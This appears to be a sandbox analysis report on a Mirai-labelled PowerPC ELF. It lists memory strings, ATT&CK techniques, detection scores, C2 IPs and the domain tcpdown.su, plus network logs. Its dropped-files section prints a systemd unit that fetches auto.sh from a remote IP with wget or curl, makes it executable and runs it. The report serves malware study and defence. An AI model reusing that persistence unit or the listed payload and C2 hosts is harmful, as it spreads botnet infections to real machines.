powerpc.elf, 5746.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5775.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5777.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/powerpc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/powerpc.elf
Source: powerpc.elf, 5903.1.00007f16f4037000.00007f16f4243000.rw-.sdmp	Binary or memory string: /var/lib/vmware
Source: powerpc.elf, 5432.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5616.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5618.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5627.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5635.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5637.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5643.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5663.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5665.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5721.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5723.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5731.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5734.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5742.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5746.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5775.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5777.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc
Source: powerpc.elf, 5903.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp	Binary or memory string: <V/ppc/var/lib/vmware/VGAuthQ
Source: powerpc.elf, 5432.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5616.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5618.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5627.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5635.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5637.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5643.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5663.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5665.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5721.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5723.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5731.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5734.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5742.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5746.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5775.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5777.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp	Binary or memory string: %s/qemu-op
Source: powerpc.elf, 5903.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp	Binary or memory string: /tmp/vmware-root_727-4290690966
Source: powerpc.elf, 5903.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp	Binary or memory string: 1/var/lib/vmware/VGAuth/aliasStore!/var/lib/apt1/var/lib/cloud/scripts/per-instance
Source: powerpc.elf, 5903.1.00007f16f4037000.00007f16f4243000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAutht
Source: powerpc.elf, 5903.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp	Binary or memory string: 0!/proc/7/cmdline!/proc/231/cmdlinepc/pro1/proc/241/cmdlinepc/0!/proc/8/cmdline!/proc/230/cmdlinepc/pro1/var/lib/gitV/ppc/0!/proc/9/cmdline!/proc/229/cmdlinepc/pro1/proc/242/cmdlinepc/0!/proc/10/cmdline!/proc/228/cmdlinepc/pro1/proc/1881/cmdlinec/0!/proc/11/cmdline!/proc/227/cmdlinepc/pro1/proc/243/cmdlinepc/0!/proc/12/cmdline!/proc/226/cmdlinepc/pro1/var/lib/snapd/assertions0!/proc/13/cmdline!/proc/225/cmdlinepc/pro1/proc/244/cmdlinepc/0!/proc/29/cmdline1/tmp/vmware-root_727-4290690966
Source: powerpc.elf, 5903.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth/aliasStore
Source: powerpc.elf, 5903.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp	Binary or memory string: /ppc/var/lib/vmware/VGAuth/aliasStore
Source: powerpc.elf, 5903.1.00007f16f4037000.00007f16f4243000.rw-.sdmp	Binary or memory string: 8/var/lib/vmware
Source: powerpc.elf, 5432.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: powerpc.elf, 5616.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5618.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5627.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5635.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5637.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5643.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5663.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5665.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5721.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5723.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5731.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5734.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5742.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5746.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5775.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5777.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5786.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc1/var/lib/php/modules/7.41/var/lib/apt/lists/auxfiles4
Source: powerpc.elf, 5903.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp	Binary or memory string: /ppc/var/lib/vmware/VGAuth
Source: powerpc.elf, 5903.1.00007f16f4037000.00007f16f4243000.rw-.sdmp	Binary or memory string: (/var/lib/vmware/VGAuth/aliasStore
Source: powerpc.elf, 5432.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.PZxM2X
Source: powerpc.elf, 5903.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp	Binary or memory string: /ppc/var/lib/vmware
Source: powerpc.elf, 5903.1.00007f16f4026000.00007f16f4037000.rw-.sdmp	Binary or memory string: $/tmp/vmware-root_727-4290690966
Source: powerpc.elf, 5903.1.00007f16f4037000.00007f16f4243000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuthl4/var/lib/NetworkManager
Source: powerpc.elf, 5903.1.00007f16f4037000.00007f16f4243000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth
Source: powerpc.elf, 5903.1.00007f16f4026000.00007f16f4037000.rw-.sdmp	Binary or memory string: P/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-colord.service-PB7Ovf$/tmp/vmware-root_727-4290690966X/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-logind.service-WfFmsi4/tmp/hsperfdata_root
Source: powerpc.elf, 5432.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5616.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5618.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5627.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5635.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5637.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5643.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5663.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5665.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5721.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5723.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5731.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5734.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5742.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5746.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5775.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5777.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp	Binary or memory string: MPDIR%s/qemu-op
Source: powerpc.elf, 5432.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp	Binary or memory string: <V/tmp/qemu-open.PZxM2X\
Source: powerpc.elf, 5903.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp	Binary or memory string: \P /var/lib/vmwareQ

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	1 Systemd Service	1 Systemd Service	1 Hidden Files and Directories	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Scripting	Boot or Logon Initialization Scripts	1 Indicator Removal	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
powerpc.elf	48%	Virustotal		Browse
powerpc.elf	45%	ReversingLabs	Linux.Trojan.Mirai
powerpc.elf	100%	Avira	EXP/ELF.Mirai.W

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tcpdown.su	45.200.149.96	true	false		high
tcpdown.su1@1\|	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://154.216.18.192/auto.sh	startup_command.service.13.dr	false		high
http://154.216.18.192/auto.sh;	powerpc.elf, startup_command.service.13.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
107.175.130.16	unknown	United States	36352	AS-COLOCROSSINGUS	false
23.94.37.42	unknown	United States	36352	AS-COLOCROSSINGUS	false
45.200.149.95	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
185.125.190.26	unknown	United Kingdom	41231	CANONICAL-ASGB	false
23.94.242.130	unknown	United States	36352	AS-COLOCROSSINGUS	false
45.200.149.96	tcpdown.su	Seychelles	328608	Africa-on-Cloud-ASZA	false
45.200.149.167	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
45.200.149.249	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
104.168.33.8	unknown	United States	36352	AS-COLOCROSSINGUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
107.175.130.16	i586.elf	Get hash	malicious	Unknown	Browse
	m68k.elf	Get hash	malicious	Unknown	Browse
	sparc.elf	Get hash	malicious	Unknown	Browse
	i686.elf	Get hash	malicious	Unknown	Browse
	arm.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	arm.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
23.94.37.42	sparc.elf	Get hash	malicious	Unknown	Browse
	x86_64.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	arm.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
45.200.149.95	sparc.elf	Get hash	malicious	Unknown	Browse
	x86_64.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
185.125.190.26	gnjqwpc.elf	Get hash	malicious	Mirai	Browse
	bot.arm5.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	earm5.elf	Get hash	malicious	Unknown	Browse
	earm7.elf	Get hash	malicious	Unknown	Browse
	arm.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	boatnet.arm6.elf	Get hash	malicious	Mirai	Browse
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse
	garm5.elf	Get hash	malicious	Unknown	Browse
	chernobyl.i586.elf	Get hash	malicious	Mirai, Gafgyt	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tcpdown.su	sparc.elf	Get hash	malicious	Unknown	Browse	45.200.149.95
tcpdown.su	x86_64.elf	Get hash	malicious	Unknown	Browse	45.200.149.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
Africa-on-Cloud-ASZA	i586.elf	Get hash	malicious	Unknown	Browse	45.200.149.167
	sparc.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	i686.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	x86_64.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	arm.elf	Get hash	malicious	Unknown	Browse	45.200.149.96
	mips.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	arm5.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	mpsl.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	DF2.exe	Get hash	malicious	Unknown	Browse	45.200.148.158
	mpsl.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
AS-COLOCROSSINGUS	i586.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	m68k.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	sparc.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	i686.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	x86_64.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	mips.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm5.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	mpsl.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	mpsl.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
CANONICAL-ASGB	i586.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	x86_64.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	socat.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	ngwa5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	wrjkngh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	gnjqwpc.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	woega6.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm6.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
AS-COLOCROSSINGUS	i586.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	m68k.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	sparc.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	i686.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	x86_64.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	mips.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm5.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	mpsl.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	mpsl.elf	Get hash	malicious	Unknown	Browse	104.168.33.8

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/etc/systemd/system/startup_command.service

Download File

Process:	/tmp/powerpc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	361
Entropy (8bit):	5.140421405816541
Encrypted:	false
SSDEEP:	6:z8jvIERZAMzdK+KOnFfltZCrXb1vN16R1E/Ls7QkhILQmWA4Rv:z+vIERZAOK+PCrXpvL6vJ73GLHWrv
MD5:	4D2C868F454B6C55731485CF0F886DC0
SHA1:	032B125DE0A28DCEE8D8D25FBEEB56DB7F403F04
SHA-256:	8C4AE1B82477698F3A8C273B439CB9079794AFB8FC33CD4DEF854936BA37EA2C
SHA-512:	060B2413A0CB2DEC0DB059C190467B5CB0D76209EFFEA4AE3DE2701FA71429B811A6F7E11E813B26806CF72578D1F32B608A02A4CE670EC58B5B65433E3CF11D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	[Unit].Description=Startup Command.After=network.target..[Service].ExecStart=cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh (null).RemainAfterExit=yes..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/tmp/qemu-open.PZxM2X (deleted)

Download File

Process:	/tmp/powerpc.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	17
Entropy (8bit):	3.572469458770136
Encrypted:	false
SSDEEP:	3:Tggzz:Tgg/
MD5:	8D0C37431F506E025204D768A2AF2697
SHA1:	B8624443C8191C85D02359EA3C075B57BF324665
SHA-256:	816BD32BA1424975EB9ECDE4FCD238041983A0349DE5682CD31FD8E52967B466
SHA-512:	3511B9FAA2AF96A3E24523898E7E7029BDBB73FDCDF9BF5A30D996CC2AC4730B55F3854610E47C4A182473D6823D6789577CDDD3F35460C018CFB9F016D691E8
Malicious:	false
Reputation:	low
Preview:	/tmp/powerpc.elf.

Static File Info

General

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.012416807023076
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	powerpc.elf
File size:	83'444 bytes
MD5:	f3503d76d1c3b1a16de456dad9ceaf05
SHA1:	60ffd9ff7e53b3d351da9ddc625651b8f74b44f6
SHA256:	064a789489e5889f35d05ac23b42c48989f93ae8103ced495be68534847b5738
SHA512:	b3b4d9437b6b8d64bfed803a2ded419eacbf2e82ef2e59513c49acfdff7acf5d46ce216b4baf89c61eabe0cd19b20c6133b09cf4e131d2cad8b3d5565863dc57
SSDEEP:	1536:mbjdHYCchzCCwgrsbTiZ5VclQmqv1pX7/ipQnAPcbxV:mdkCogGv1V7/ipnUbX
TLSH:	27834C02731C0A57D1935EB02A3F17E1D3FEAAE021E4F789251E9B869175E361186FCD
File Content Preview:	.ELF...........................4..D......4. ...(......................;...;...............@...@...@.................dt.Q.............................!..\|......$H...H..!...$8!. \|...N.. .!..\|.......?.........D`..../...@..\?.....@..+../...A..$8...})....@.N..

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x100001f0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	82964
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0x10f78	0x0	0x6	AX	4
.fini	PROGBITS	0x10011030	0x11030	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x10011050	0x11050	0x2ab0	0x0	0x2	A	8
.ctors	PROGBITS	0x10024000	0x14000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x10024008	0x14008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x10024018	0x14018	0x33c	0x0	0x3	WA	8
.sdata	PROGBITS	0x10024354	0x14354	0x74	0x0	0x3	WA	4
.sbss	NOBITS	0x100243c8	0x143c8	0x98	0x0	0x3	WA	8
.bss	NOBITS	0x10024460	0x143c8	0xe688	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x143c8	0x4b	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0x13b00	0x13b00	6.1126	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x14000	0x10024000	0x10024000	0x3c8	0xeae8	2.9490	0x6	RW	0x10000	.ctors .dtors .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 08:51:50.752768993 CET	37552	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:51:50.757626057 CET	2601	37552	45.200.149.96	192.168.2.13
Jan 2, 2025 08:51:50.757688999 CET	37552	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:51:50.761096954 CET	37552	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:51:50.765923977 CET	2601	37552	45.200.149.96	192.168.2.13
Jan 2, 2025 08:51:50.765970945 CET	37552	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:51:50.770757914 CET	2601	37552	45.200.149.96	192.168.2.13
Jan 2, 2025 08:51:51.602307081 CET	2601	37552	45.200.149.96	192.168.2.13
Jan 2, 2025 08:51:51.602382898 CET	37552	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:51:51.602535009 CET	37552	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:51:52.756084919 CET	53040	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:51:52.760996103 CET	2601	53040	23.94.37.42	192.168.2.13
Jan 2, 2025 08:51:52.761055946 CET	53040	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:51:52.766249895 CET	53040	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:51:52.771063089 CET	2601	53040	23.94.37.42	192.168.2.13
Jan 2, 2025 08:51:52.771107912 CET	53040	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:51:52.775934935 CET	2601	53040	23.94.37.42	192.168.2.13
Jan 2, 2025 08:51:53.303201914 CET	2601	53040	23.94.37.42	192.168.2.13
Jan 2, 2025 08:51:53.303272963 CET	53040	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:51:53.303309917 CET	53040	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:51:54.394812107 CET	40136	2601	192.168.2.13	45.200.149.249
Jan 2, 2025 08:51:54.399709940 CET	2601	40136	45.200.149.249	192.168.2.13
Jan 2, 2025 08:51:54.399796009 CET	40136	2601	192.168.2.13	45.200.149.249
Jan 2, 2025 08:51:54.403212070 CET	40136	2601	192.168.2.13	45.200.149.249
Jan 2, 2025 08:51:54.408117056 CET	2601	40136	45.200.149.249	192.168.2.13
Jan 2, 2025 08:51:54.408175945 CET	40136	2601	192.168.2.13	45.200.149.249
Jan 2, 2025 08:51:54.413002014 CET	2601	40136	45.200.149.249	192.168.2.13
Jan 2, 2025 08:51:55.246835947 CET	2601	40136	45.200.149.249	192.168.2.13
Jan 2, 2025 08:51:55.246937037 CET	40136	2601	192.168.2.13	45.200.149.249
Jan 2, 2025 08:51:55.246937037 CET	40136	2601	192.168.2.13	45.200.149.249
Jan 2, 2025 08:51:56.302213907 CET	52436	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:56.307158947 CET	7722	52436	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:56.307208061 CET	52436	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:56.310775995 CET	52436	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:56.310913086 CET	52436	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:56.315601110 CET	7722	52436	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:56.347829103 CET	52438	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:56.352799892 CET	7722	52438	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:56.352900028 CET	52438	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:56.358539104 CET	7722	52436	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:56.387772083 CET	52438	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:56.387886047 CET	52438	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:56.392680883 CET	7722	52438	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:56.434468985 CET	7722	52438	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:56.460402966 CET	45534	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:51:56.465305090 CET	2601	45534	45.200.149.95	192.168.2.13
Jan 2, 2025 08:51:56.465523005 CET	45534	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:51:56.495944977 CET	45534	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:51:56.500796080 CET	2601	45534	45.200.149.95	192.168.2.13
Jan 2, 2025 08:51:56.500869036 CET	45534	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:51:56.505640984 CET	2601	45534	45.200.149.95	192.168.2.13
Jan 2, 2025 08:51:56.674958944 CET	52442	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:56.679836035 CET	7722	52442	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:56.679903984 CET	52442	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:56.681514978 CET	52442	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:56.681596994 CET	52442	7722	192.168.2.13	107.175.130.16
